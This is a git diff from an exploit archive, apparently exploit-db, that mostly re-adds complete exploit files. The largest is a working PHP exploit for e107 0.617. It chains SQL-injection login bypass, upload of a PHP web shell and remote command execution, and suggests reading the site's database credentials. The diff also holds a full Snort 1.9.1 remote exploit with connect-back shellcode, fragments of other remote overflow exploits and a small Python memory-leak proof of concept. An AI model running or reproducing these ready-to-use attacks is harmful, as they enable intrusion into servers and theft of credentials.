-&siteadminemail=fakefakefake@suntzu.com&sitetheme=e107v4a&admintheme=e107v4a
-&sitedisclaimer=All+trademarks+are+%A9+their+respective+owners%2C+all+other+content+
-is+%A9+e107+powered+website.%3Cbr+%2F%3Ee107+is+%A9+e107.org+2002%2F2003+and+is+released+under+the+%
-3Ca+href%3D%27http%3A%2F%2Fwww.gnu.org%2F%27%3EGNU+GPL+license%3C%2Fa%3E.
-&newsposts=10&flood_protect=1&flood_timeout=5&flood_time=30&flood_hits=100&anon_post=1
-&user_reg=1&use_coppa=1&profanity_filter=1&profanity_replace=%5Bcensored%5D&chatbox_posts=10&
-smiley_activate=&log_activate=&log_refertype=1&longdate=%25A+%25d+%25B+%25Y+-+%25H%3A%25M%3A%25S&
-shortdate=%25d+%25b+%3A+%25H%3A%25M&forumdate=%25a+%25b+%25d+%25Y%2C+%25I%3A%25M%25p&sitelanguage=
-English&maintainance_flag=0&time_offset=0&cb_linkc=+-link-+&cb_wordwrap=20&cb_linkreplace=1&
-log_lvcount=10&meta_tag=&user_reg_veri=1&email_notify=0&forum_poll=0&forum_popular=10&forum_track=0&
-forum_eprefix=%5Bforum%5D&forum_enclose=1&forum_title=Forums&forum_postspage=10&user_tracking=cookie&
-cookie_name=e107cookie&resize_method=gd2&im_path=%2Fusr%2FX11R6%2Fbin%2Fconvert&im_quality=80&
-im_width=120&im_height=100&upload_enabled=1&upload_allowedfiletype=.php&
-upload_storagetype=2&upload_maxfilesize=&upload_class=254&cachestatus=&displayrendertime=1&
-displaysql=&displaythemeinfo=1&link_submit=1&link_submit_class=0&timezone=GMT&search_restrict=1&
-antiflood1=1&antiflood_timeout=10&autoban=1&coreedit_sub=Save+Core+Settings&a_name=";
-$data.=urlencode("'or isnull(1/0)/*")."&a_password=d41d8cd98f00b204e9800998ecf8427e";
-//                       ^                                  ^
-//                       |                                  |
-//            here we have login bypass ;)        hash of [nothing]
-//so, you see, we activate public uploads and .php extensions for attachments
-$packet="POST ".$p."e107_files/resetcore.php HTTP/1.1\r\n";
-$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n";
-$packet.="Referer: http://".$host.":".$port.$path."e107_files/resetcore.php\r\n";
-$packet.="Accept-Language: it\r\n";
-$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
-$packet.="Accept-Encoding: gzip, deflate\r\n";
-$packet.="User-Agent: Matrix S.p.A. - FAST Enterprise Crawler 6 (Unknown admin e-mail address)\r\n";
-$packet.="Host: ".$host.":".$port."\r\n";
-$packet.="Content-Length: ".strlen($data)."\r\n";
-$packet.="Connection: Close\r\n";
-$packet.="Cache-Control: no-cache\r\n";
-$packet.="Content-Type: multipart/form-data; boundary=----------W1dUnnWzZExD8Rb1Pctwsq\r\n\r\n";
-$packet.=$data;
-
-show($packet);
-sendpacket($packet);
-if (eregi("Core settings successfully updated",$html)) {echo '<br>Ok... we reset core values...Continue...';}
-                                                  else {echo '<br>Exploit failed...'; die;}
-
-#STEP 2 -> Upload a shell...
-$data='------------W1dUnnWzZExD8Rb1Pctwsq
-Content-Disposition: form-data; name="file_name"
-
-baby
-------------W1dUnnWzZExD8Rb1Pctwsq
-Content-Disposition: form-data; name="file_version"
-
-666
-------------W1dUnnWzZExD8Rb1Pctwsq
-Content-Disposition: form-data; name="file_userfile[]"; filename="c:\suntzu.php"
-Content-Type: multipart/form-data
-
-<?php error_reporting(0); ini_set("max_execution_time",0);
-echo "Hi Master\r\n"; system($HTTP_GET_VARS[cmd]); ?>
-------------W1dUnnWzZExD8Rb1Pctwsq
-Content-Disposition: form-data; name="file_userfile[]"; filename=""
-
-
-------------W1dUnnWzZExD8Rb1Pctwsq
-Content-Disposition: form-data; name="file_description"
-
-mphhh....
-------------W1dUnnWzZExD8Rb1Pctwsq
-Content-Disposition: form-data; name="file_website"
-
-
-------------W1dUnnWzZExD8Rb1Pctwsq
-Content-Disposition: form-data; name="file_demo"
-
-
-------------W1dUnnWzZExD8Rb1Pctwsq
-Content-Disposition: form-data; name="upload"
-
-Submit and Upload
-------------W1dUnnWzZExD8Rb1Pctwsq--';
-
-$packet="POST ".$p."upload.php HTTP/1.1\r\n";
-$packet.="User-Agent: Nokia7110/1.0 (05.01) (Google WAP Proxy/1.0)\r\n";
-$packet.="Host: ".$host.":".$port."\r\n";
-$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
-$packet.="Accept-Language: it,en;q=0.9\r\n";
-$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
-$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
-$packet.="Referer: http://".$host.":".$port.$path."upload.php\r\n";
-$packet.="Cookie: e107cookie=1.dcc479d5ffe15c00b2263328f1d60da4\r\n";
-$packet.="Cookie2: \$Version=1\r\n";
-$packet.="Connection: Close, TE\r\n";
-$packet.="TE: deflate, gzip, chunked, identity, trailers\r\n";
-$packet.="Content-Length: ".strlen($data)."\r\n";
-$packet.="Content-Type: multipart/form-data; boundary=----------W1dUnnWzZExD8Rb1Pctwsq\r\n\r\n";
-$packet.=$data;
-show($packet);
-sendpacket($packet);
-
-#STEP 3 -> Launch commands...
-$packet="GET ".$p."e107_files/public/suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
-$packet.="User-Agent: Website eXtractor\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-show($packet);
-sendpacket($packet);
-if (eregi("Hi Master",$html)) {echo 'Exploit succeeded...';}
-                        else  {echo 'Exploit failed...';}
-}
-else
-{echo 'Fill in requested fields, optionally specify a proxy...';}
-
-?>
-
-# milw0rm.com [2005-10-18]
+<?php
+#   0.27 18/10/2005                                                            #
+#                                                                              #
+#   ---e017_xpl.php                                                            #
+#                                                                              #
+#   e107 0.617 resetcore.php SQL Injection & remote code execution  all-in-one #
+#                                                                              #
+#                                 by rgod                                      #
+#                      site: http://rgod.altervista.org                        #
+#                                                                              #
+#   make these changes in php.ini if you have troubles                         #
+#   to launch this script:                                                     #
+#   allow_call_time_pass_reference = on                                        #
+#   register_globals = on                                                      #
+#                                                                              #
+#   usage: customize for your own pleasure, launch this script from Apache,    #
+#   fill requested fields, then go!                                            #
+#                                                                              #
+#   Sun-Tzu: "There is a proper season for making attacks with fire, and       #
+#   special days for starting a conflagration. The proper season is when       #
+#   the weather is very dry; the special days are those when the moon is       #
+#   in the constellations of the Sieve, the Wall, the Wing or the Cross-bar;   #
+#   for these four are all days of rising wind."                               #
+
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout", 2);
+ob_implicit_flush (1);
+
+echo'<html><head><title>e107 0.617 remote commands execution       </title><meta
+http-equiv="Content-Type"   content="text/html;  charset=iso-8859-1">     <style
+type="text/css"> body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
+SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
+{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
+!important} option {  background-color:   #303030   !important}         textarea
+{background-color: #303030 !important} input {color: #1CB081 !important}  option
+{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
+{background-color: #303030 !important} select {font-weight: normal;       color:
+#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
+background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
+0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
+!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
+!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
+!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
+normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
+{ text-decoration: none ; color : #1CBc81; } a:hover{text-decoration: underline;
+color : #1CB081; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
+font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
+font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
+e107 0.617 resetcore.php SQL injection & remote commands execution </p>      <p>
+<class="Stile6"> a  script     byrgod  at <a href="http://rgod.altervista.org"
+target="_blank">http://rgod.altervista.org</a></p> <table width="84%"><tr>   <td
+width="43%">      <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'
+?path=value&host=value&port=value&command=value&proxy=value">   <p>       <input
+type="text" name="host"><span class="Stile5"> hostname    (ex: www.sitename.com)
+</span></p><p> <input type="text" name="path"><span class="Stile5">path (ex: /e1
+07/ or just /)</span></p><p><input type="text" name="port"><span class="Stile5">
+specify a port other than 80 (default value)  </span> </p> <p><input type="text"
+name="command"><span class="Stile5">a shell command,    cat ./../../e107_config.
+php to see database username/password  </span>  </p>  <p>   <input   type="text"
+name="proxy"><span class="Stile5">send exploit through an HTTP  proxy  (ip:port)
+</span></p><p><input type="submit" name="Submit" value="go!">   </p></form></td>
+</tr></table></body></html>';
+
+function show($headeri)
+{
+$ii=0;
+$ji=0;
+$ki=0;
+$ci=0;
+echo '<table border="0"><tr>';
+while ($ii <= strlen($headeri)-1)
+{
+$datai=dechex(ord($headeri[$ii]));
+if ($ji==16) {
+             $ji=0;
+             $ci++;
+             echo "<td>&nbsp;&nbsp;</td>";
+             for ($li=0; $li<=15; $li++)
+                      { echo "<td>".$headeri[$li+$ki]."</td>";
+			    }
+            $ki=$ki+16;
+            echo "</tr><tr>";
+            }
+if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
+{echo "<td>".$datai."</td> ";}
+$ii++;
+$ji++;
+}
+for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
+                      { echo "<td>&nbsp&nbsp</td>";
+                       }
+
+for ($li=$ci*16; $li<=strlen($headeri); $li++)
+                      { echo "<td>".$headeri[$li]."</td>";
+			    }
+echo "</tr></table>";
+}
+
+
+function sendpacket($packet)
+{
+global $proxy, $host, $port, $html;
+if ($proxy=='')
+           {$ock=fsockopen(gethostbyname($host),$port);}
+             else
+           {
+	   $proxy=trim($proxy);
+ 	   $parts=explode(':',$proxy);
+       echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
+	    $ock=fsockopen($parts[0],$parts[1]);
+	    if (!$ock) { echo 'No response from proxy...';
+			die;
+		       }
+	   }
+fputs($ock,$packet);
+if ($proxy=='')
+  {
+
+    $html='';
+    while (!feof($ock))
+      {
+        $html.=fgets($ock);
+      }
+  }
+else
+  {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
+    {
+      $html.=fread($ock,1);
+    }
+  }
+fclose($ock);
+echo nl2br(htmlentities($html));
+}
+
+
+if (($path<>'') and ($host<>'') and ($command<>''))
+{
+
+$port=intval($port);
+if (($port=='') or ($port<=0)) {$port=80;}
+if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
+echo 'Initiating exploit against '.htmlentities($host).':'.htmlentities($port);
+
+#STEP 1 -> SQL INJECTION in resetcore.php, bypass login and change upload settings
+$data.="sitename=e107+powered+website&siteurl=".urlencode('http://'.$host.':'.$port.$path)."
+&sitebutton=button.png&sitetag=e107+website+system&sitedescription=&siteadmin=suntzu
+&siteadminemail=fakefakefake@suntzu.com&sitetheme=e107v4a&admintheme=e107v4a
+&sitedisclaimer=All+trademarks+are+%A9+their+respective+owners%2C+all+other+content+
+is+%A9+e107+powered+website.%3Cbr+%2F%3Ee107+is+%A9+e107.org+2002%2F2003+and+is+released+under+the+%
+3Ca+href%3D%27http%3A%2F%2Fwww.gnu.org%2F%27%3EGNU+GPL+license%3C%2Fa%3E.
+&newsposts=10&flood_protect=1&flood_timeout=5&flood_time=30&flood_hits=100&anon_post=1
+&user_reg=1&use_coppa=1&profanity_filter=1&profanity_replace=%5Bcensored%5D&chatbox_posts=10&
+smiley_activate=&log_activate=&log_refertype=1&longdate=%25A+%25d+%25B+%25Y+-+%25H%3A%25M%3A%25S&
+shortdate=%25d+%25b+%3A+%25H%3A%25M&forumdate=%25a+%25b+%25d+%25Y%2C+%25I%3A%25M%25p&sitelanguage=
+English&maintainance_flag=0&time_offset=0&cb_linkc=+-link-+&cb_wordwrap=20&cb_linkreplace=1&
+log_lvcount=10&meta_tag=&user_reg_veri=1&email_notify=0&forum_poll=0&forum_popular=10&forum_track=0&
+forum_eprefix=%5Bforum%5D&forum_enclose=1&forum_title=Forums&forum_postspage=10&user_tracking=cookie&
+cookie_name=e107cookie&resize_method=gd2&im_path=%2Fusr%2FX11R6%2Fbin%2Fconvert&im_quality=80&
+im_width=120&im_height=100&upload_enabled=1&upload_allowedfiletype=.php&
+upload_storagetype=2&upload_maxfilesize=&upload_class=254&cachestatus=&displayrendertime=1&
+displaysql=&displaythemeinfo=1&link_submit=1&link_submit_class=0&timezone=GMT&search_restrict=1&
+antiflood1=1&antiflood_timeout=10&autoban=1&coreedit_sub=Save+Core+Settings&a_name=";
+$data.=urlencode("'or isnull(1/0)/*")."&a_password=d41d8cd98f00b204e9800998ecf8427e";
+//                       ^                                  ^
+//                       |                                  |
+//            here we have login bypass ;)        hash of [nothing]
+//so, you see, we activate public uploads and .php extensions for attachments
+$packet="POST ".$p."e107_files/resetcore.php HTTP/1.1\r\n";
+$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n";
+$packet.="Referer: http://".$host.":".$port.$path."e107_files/resetcore.php\r\n";
+$packet.="Accept-Language: it\r\n";
+$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
+$packet.="Accept-Encoding: gzip, deflate\r\n";
+$packet.="User-Agent: Matrix S.p.A. - FAST Enterprise Crawler 6 (Unknown admin e-mail address)\r\n";
+$packet.="Host: ".$host.":".$port."\r\n";
+$packet.="Content-Length: ".strlen($data)."\r\n";
+$packet.="Connection: Close\r\n";
+$packet.="Cache-Control: no-cache\r\n";
+$packet.="Content-Type: multipart/form-data; boundary=----------W1dUnnWzZExD8Rb1Pctwsq\r\n\r\n";
+$packet.=$data;
+
+show($packet);
+sendpacket($packet);
+if (eregi("Core settings successfully updated",$html)) {echo '<br>Ok... we reset core values...Continue...';}
+                                                  else {echo '<br>Exploit failed...'; die;}
+
+#STEP 2 -> Upload a shell...
+$data='------------W1dUnnWzZExD8Rb1Pctwsq
+Content-Disposition: form-data; name="file_name"
+
+baby
+------------W1dUnnWzZExD8Rb1Pctwsq
+Content-Disposition: form-data; name="file_version"
+
+666
+------------W1dUnnWzZExD8Rb1Pctwsq
+Content-Disposition: form-data; name="file_userfile[]"; filename="c:\suntzu.php"
+Content-Type: multipart/form-data
+
+<?php error_reporting(0); ini_set("max_execution_time",0);
+echo "Hi Master\r\n"; system($HTTP_GET_VARS[cmd]); ?>
+------------W1dUnnWzZExD8Rb1Pctwsq
+Content-Disposition: form-data; name="file_userfile[]"; filename=""
+
+
+------------W1dUnnWzZExD8Rb1Pctwsq
+Content-Disposition: form-data; name="file_description"
+
+mphhh....
+------------W1dUnnWzZExD8Rb1Pctwsq
+Content-Disposition: form-data; name="file_website"
+
+
+------------W1dUnnWzZExD8Rb1Pctwsq
+Content-Disposition: form-data; name="file_demo"
+
+
+------------W1dUnnWzZExD8Rb1Pctwsq
+Content-Disposition: form-data; name="upload"
+
+Submit and Upload
+------------W1dUnnWzZExD8Rb1Pctwsq--';
+
+$packet="POST ".$p."upload.php HTTP/1.1\r\n";
+$packet.="User-Agent: Nokia7110/1.0 (05.01) (Google WAP Proxy/1.0)\r\n";
+$packet.="Host: ".$host.":".$port."\r\n";
+$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
+$packet.="Accept-Language: it,en;q=0.9\r\n";
+$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
+$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
+$packet.="Referer: http://".$host.":".$port.$path."upload.php\r\n";
+$packet.="Cookie: e107cookie=1.dcc479d5ffe15c00b2263328f1d60da4\r\n";
+$packet.="Cookie2: \$Version=1\r\n";
+$packet.="Connection: Close, TE\r\n";
+$packet.="TE: deflate, gzip, chunked, identity, trailers\r\n";
+$packet.="Content-Length: ".strlen($data)."\r\n";
+$packet.="Content-Type: multipart/form-data; boundary=----------W1dUnnWzZExD8Rb1Pctwsq\r\n\r\n";
+$packet.=$data;
+show($packet);
+sendpacket($packet);
+
+#STEP 3 -> Launch commands...
+$packet="GET ".$p."e107_files/public/suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
+$packet.="User-Agent: Website eXtractor\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+show($packet);
+sendpacket($packet);
+if (eregi("Hi Master",$html)) {echo 'Exploit succeeded...';}
+                        else  {echo 'Exploit failed...';}
+}
+else
+{echo 'Fill in requested fields, optionally specify a proxy...';}
+
+?>
+
+# milw0rm.com [2005-10-18]
diff --git a/platforms/linux/remote/139.c b/platforms/linux/remote/139.c
index 3108e6cb7..89388ef06 100755
--- a/platforms/linux/remote/139.c
+++ b/platforms/linux/remote/139.c
@@ -556,6 +556,6 @@ int GetNextAddr(int Addr)
   }
   
   return(Addr);
-}
-
-// milw0rm.com [2003-12-27]
+}
+
+// milw0rm.com [2003-12-27]
diff --git a/platforms/linux/remote/18.sh b/platforms/linux/remote/18.sh
index d2405ccb4..61c536326 100755
--- a/platforms/linux/remote/18.sh
+++ b/platforms/linux/remote/18.sh
@@ -1,143 +1,143 @@
-#!/bin/sh
-
-##########################################################
-# p7snort191.sh by truff (truff@projet7.org)             #
-# Snort 1.9.1 and below remote exploit                   #
-#                                                        #
-# Tested on Slackware 8.0 with Snort 1.9.1 from sources  #
-#                                                        #
-# Usage:                                                 #
-# 1/ Launch a listening netcat to listen for the shell   #
-# nc -p 45295 -l                                         #
-#                                                        #
-# 2/ p7snort119.sh yourIP [Ret_Addr]                     #
-#                                                        #
-# Where yourIP is the IP where the netcat is listening   #
-# and Ret_Addr is the address (8 hexa digits) of the     #
-# shellcode (eg: 0819fec2)                               #
-#                                                        #
-#                                                        #
-# This vulnerability was discovered by Bruce Leidl,      #
-# Juan Pablo Martinez Kuhn, and Alejandro David Weil     #
-# from Core Security Technologies during Bugweek 2003.   #
-#                                                        #
-# Greetz to #root people and projet7 members.            #
-# Special thx to mycroft for helping me with shell       #
-# scripting stuff.                                       #
-#                                                        #
-# www.projet7.org - Security Researchs -                 #
-##########################################################
-
-
-# Put here the path to your hping2 binary
-HPING2=/usr/sbin/hping2
-
-# You should change these params to make the snort sensor 
-# capture the packets.
-IPSRC=192.168.22.1
-IPDST=192.168.22.2
-PTSRC=3339
-PTDST=111
-
-
-
-echo "p7snort191.sh by truff (truff@projet7.org)"
-
-case $# in
-0)
-echo "Bad number of params"
-echo "Read comments in sources"
-exit -1
-;;
-1)
-RET=0819fec2
-echo "Using default retaddr (Slackware 8.0)"
-echo $RET
-;;
-2)
-RET=$2
-echo "Using custom retaddr"
-echo $RET
-;;
-*)
-echo "Bad number of params"
-echo "Read comments in sources"
-exit -1
-;;
-esac
-
-
-
-# Nops
-i=0
-while [ "$i" -lt "512" ]; do
-i=$(expr "$i" + 1)
-echo -n -e "\x90" >> egg
-done
-
-
-# linux x86 shellcode by eSDee of Netric (www.netric.org)
-# 131 byte - connect back shellcode (port=0xb0ef)
-echo -n -e "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" >> egg
-echo -n -e "\x06\x51\xb1\x01\x51\xb1\x02\x51" >> egg
-echo -n -e "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" >> egg
-echo -n -e "\x89\xc2\x31\xc0\x31\xc9\x51\x51" >> egg
-echo -n -e "\x68" >> egg
-
-# IP here 
-echo -n -e $(printf "\\\x%02x" $(echo $1 | cut -d. -f1) \
-$(echo $1 | cut -d. -f2) \
-$(echo $1 | cut -d. -f3) \
-$(echo $1 | cut -d. -f4)) >> egg
-
-echo -n -e "\x66\x68\xb0" >> egg
-echo -n -e "\xef\xb1\x02\x66\x51\x89\xe7\xb3" >> egg
-echo -n -e "\x10\x53\x57\x52\x89\xe1\xb3\x03" >> egg
-echo -n -e "\xb0\x66\xcd\x80\x31\xc9\x39\xc1" >> egg 
-echo -n -e "\x74\x06\x31\xc0\xb0\x01\xcd\x80" >> egg
-echo -n -e "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" >> egg
-echo -n -e "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" >> egg
-echo -n -e "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" >> egg
-echo -n -e "\xb1\x02\xcd\x80\x31\xc0\x31\xd2" >> egg
-echo -n -e "\x50\x68\x6e\x2f\x73\x68\x68\x2f" >> egg
-echo -n -e "\x2f\x62\x69\x89\xe3\x50\x53\x89" >> egg
-echo -n -e "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" >> egg
-echo -n -e "\x01\xcd\x80" >> egg
-
-# 3 dummy bytes for alignment purposes
-echo -n -e "\x41\x41\x41" >> egg
-
-i=0
-cpt=$(expr 3840 - 134 - 512)
-cpt=$(expr $cpt / 4)
-
-
-var1=0x$(echo $RET | cut -b7,8)
-var2=0x$(echo $RET | cut -b5,6)
-var3=0x$(echo $RET | cut -b3,4)
-var4=0x$(echo $RET | cut -b1,2)
-
-while [ "$i" -lt "$cpt" ]; do
-i=$(expr "$i" + 1)
-echo -n -e $(printf "\\\x%02x" $var1 $var2 $var3 $var4) >> egg
-done
-
-
-# hping ruleZ
-$HPING2 $IPDST -a $IPSRC -s $PTSRC -p $PTDST --ack --rst -c 1 \
--d 0x1 --setseq 0xffff0023 --setack 0xc0c4c014 \
-1>/dev/null 2>/dev/null
-
-$HPING2 $IPDST -a $IPSRC -s $PTSRC -p $PTDST --ack --rst -c 1 \
--d 0xF00 -E egg --setseq 0xffffffff --setack 0xc0c4c014 \
-1>/dev/null 2>/dev/null
-
-$HPING2 $IPSRC -a $IPDST -s $PTDST -p $PTSRC --ack -c 1 \
--d 0 --setseq 0xc0c4c014 --setack 0xffffffff \
-1>/dev/null 2>/dev/null
-
-rm egg
-
-echo "Exploit Sended"
-
-# milw0rm.com [2003-04-23]
+#!/bin/sh
+
+##########################################################
+# p7snort191.sh by truff (truff@projet7.org)             #
+# Snort 1.9.1 and below remote exploit                   #
+#                                                        #
+# Tested on Slackware 8.0 with Snort 1.9.1 from sources  #
+#                                                        #
+# Usage:                                                 #
+# 1/ Launch a listening netcat to listen for the shell   #
+# nc -p 45295 -l                                         #
+#                                                        #
+# 2/ p7snort119.sh yourIP [Ret_Addr]                     #
+#                                                        #
+# Where yourIP is the IP where the netcat is listening   #
+# and Ret_Addr is the address (8 hexa digits) of the     #
+# shellcode (eg: 0819fec2)                               #
+#                                                        #
+#                                                        #
+# This vulnerability was discovered by Bruce Leidl,      #
+# Juan Pablo Martinez Kuhn, and Alejandro David Weil     #
+# from Core Security Technologies during Bugweek 2003.   #
+#                                                        #
+# Greetz to #root people and projet7 members.            #
+# Special thx to mycroft for helping me with shell       #
+# scripting stuff.                                       #
+#                                                        #
+# www.projet7.org - Security Researchs -                 #
+##########################################################
+
+
+# Put here the path to your hping2 binary
+HPING2=/usr/sbin/hping2
+
+# You should change these params to make the snort sensor 
+# capture the packets.
+IPSRC=192.168.22.1
+IPDST=192.168.22.2
+PTSRC=3339
+PTDST=111
+
+
+
+echo "p7snort191.sh by truff (truff@projet7.org)"
+
+case $# in
+0)
+echo "Bad number of params"
+echo "Read comments in sources"
+exit -1
+;;
+1)
+RET=0819fec2
+echo "Using default retaddr (Slackware 8.0)"
+echo $RET
+;;
+2)
+RET=$2
+echo "Using custom retaddr"
+echo $RET
+;;
+*)
+echo "Bad number of params"
+echo "Read comments in sources"
+exit -1
+;;
+esac
+
+
+
+# Nops
+i=0
+while [ "$i" -lt "512" ]; do
+i=$(expr "$i" + 1)
+echo -n -e "\x90" >> egg
+done
+
+
+# linux x86 shellcode by eSDee of Netric (www.netric.org)
+# 131 byte - connect back shellcode (port=0xb0ef)
+echo -n -e "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" >> egg
+echo -n -e "\x06\x51\xb1\x01\x51\xb1\x02\x51" >> egg
+echo -n -e "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" >> egg
+echo -n -e "\x89\xc2\x31\xc0\x31\xc9\x51\x51" >> egg
+echo -n -e "\x68" >> egg
+
+# IP here 
+echo -n -e $(printf "\\\x%02x" $(echo $1 | cut -d. -f1) \
+$(echo $1 | cut -d. -f2) \
+$(echo $1 | cut -d. -f3) \
+$(echo $1 | cut -d. -f4)) >> egg
+
+echo -n -e "\x66\x68\xb0" >> egg
+echo -n -e "\xef\xb1\x02\x66\x51\x89\xe7\xb3" >> egg
+echo -n -e "\x10\x53\x57\x52\x89\xe1\xb3\x03" >> egg
+echo -n -e "\xb0\x66\xcd\x80\x31\xc9\x39\xc1" >> egg 
+echo -n -e "\x74\x06\x31\xc0\xb0\x01\xcd\x80" >> egg
+echo -n -e "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" >> egg
+echo -n -e "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" >> egg
+echo -n -e "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" >> egg
+echo -n -e "\xb1\x02\xcd\x80\x31\xc0\x31\xd2" >> egg
+echo -n -e "\x50\x68\x6e\x2f\x73\x68\x68\x2f" >> egg
+echo -n -e "\x2f\x62\x69\x89\xe3\x50\x53\x89" >> egg
+echo -n -e "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" >> egg
+echo -n -e "\x01\xcd\x80" >> egg
+
+# 3 dummy bytes for alignment purposes
+echo -n -e "\x41\x41\x41" >> egg
+
+i=0
+cpt=$(expr 3840 - 134 - 512)
+cpt=$(expr $cpt / 4)
+
+
+var1=0x$(echo $RET | cut -b7,8)
+var2=0x$(echo $RET | cut -b5,6)
+var3=0x$(echo $RET | cut -b3,4)
+var4=0x$(echo $RET | cut -b1,2)
+
+while [ "$i" -lt "$cpt" ]; do
+i=$(expr "$i" + 1)
+echo -n -e $(printf "\\\x%02x" $var1 $var2 $var3 $var4) >> egg
+done
+
+
+# hping ruleZ
+$HPING2 $IPDST -a $IPSRC -s $PTSRC -p $PTDST --ack --rst -c 1 \
+-d 0x1 --setseq 0xffff0023 --setack 0xc0c4c014 \
+1>/dev/null 2>/dev/null
+
+$HPING2 $IPDST -a $IPSRC -s $PTSRC -p $PTDST --ack --rst -c 1 \
+-d 0xF00 -E egg --setseq 0xffffffff --setack 0xc0c4c014 \
+1>/dev/null 2>/dev/null
+
+$HPING2 $IPSRC -a $IPDST -s $PTDST -p $PTSRC --ack -c 1 \
+-d 0 --setseq 0xc0c4c014 --setack 0xffffffff \
+1>/dev/null 2>/dev/null
+
+rm egg
+
+echo "Exploit Sended"
+
+# milw0rm.com [2003-04-23]
diff --git a/platforms/linux/remote/253.pl b/platforms/linux/remote/253.pl
index e48301916..b8d9af0a2 100755
--- a/platforms/linux/remote/253.pl
+++ b/platforms/linux/remote/253.pl
@@ -38,6 +38,6 @@ for ($i += length($shellcode); $i < $len; $i += 4) {
 $exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012";
 
 system("(echo -e \"$exploit_string\" ; cat) | nc $target 143");
-
-
-# milw0rm.com [2001-01-19]
+
+
+# milw0rm.com [2001-01-19]
diff --git a/platforms/linux/remote/284.c b/platforms/linux/remote/284.c
index 56f5649b6..97b475616 100755
--- a/platforms/linux/remote/284.c
+++ b/platforms/linux/remote/284.c
@@ -236,6 +236,6 @@ int main(int argc, char **argv) {
 	close(sock);
 
 	return 0;
-}
-
-// milw0rm.com [2001-03-03]
+}
+
+// milw0rm.com [2001-03-03]
diff --git a/platforms/linux/remote/29734.txt b/platforms/linux/remote/29734.txt
index da5c0fd88..2d8cf8e45 100755
--- a/platforms/linux/remote/29734.txt
+++ b/platforms/linux/remote/29734.txt
@@ -91,6 +91,6 @@ Ruben Garrote Garc
 rubengarrote [at] gmail [dot] com
 http://boken00.blogspot.com
 
-EDB Note:
-It seems 3.70 version has been patched against this.
-Later versions are probably vulnerable to this.
\ No newline at end of file
+## EDB Note:
+# It seems 3.70 version currently available for download
+# has been patched against this. Earlier versions are probably vulnerable to this.
\ No newline at end of file
diff --git a/platforms/linux/remote/30018.py b/platforms/linux/remote/30018.py
new file mode 100755
index 000000000..f8d0ecf4d
--- /dev/null
+++ b/platforms/linux/remote/30018.py
@@ -0,0 +1,14 @@
+source: http://www.securityfocus.com/bid/23887/info
+
+Python applications that use the 'PyLocale_strxfrm' function are prone to an information leak.
+
+Exploiting this issue allows remote attackers to read portions of memory.
+
+Python 2.4.4-2 and 2.5 are confirmed vulnerable. 
+
+#!/usr/bin/python
+
+import locale
+
+print locale.setlocale(locale.LC_COLLATE, 'pl_PL.UTF8')
+print repr(locale.strxfrm('a'))
diff --git a/platforms/linux/remote/30043.txt b/platforms/linux/remote/30043.txt
new file mode 100755
index 000000000..01f919d98
--- /dev/null
+++ b/platforms/linux/remote/30043.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24004/info
+
+Sun JDK is prone to a multiple vulnerabilities.
+
+An attacker can exploit these issues to crash the affected application, effectively denying service. The attacker may also be able to execute arbitrary code, which may facilitate a compromise of the underlying system.
+
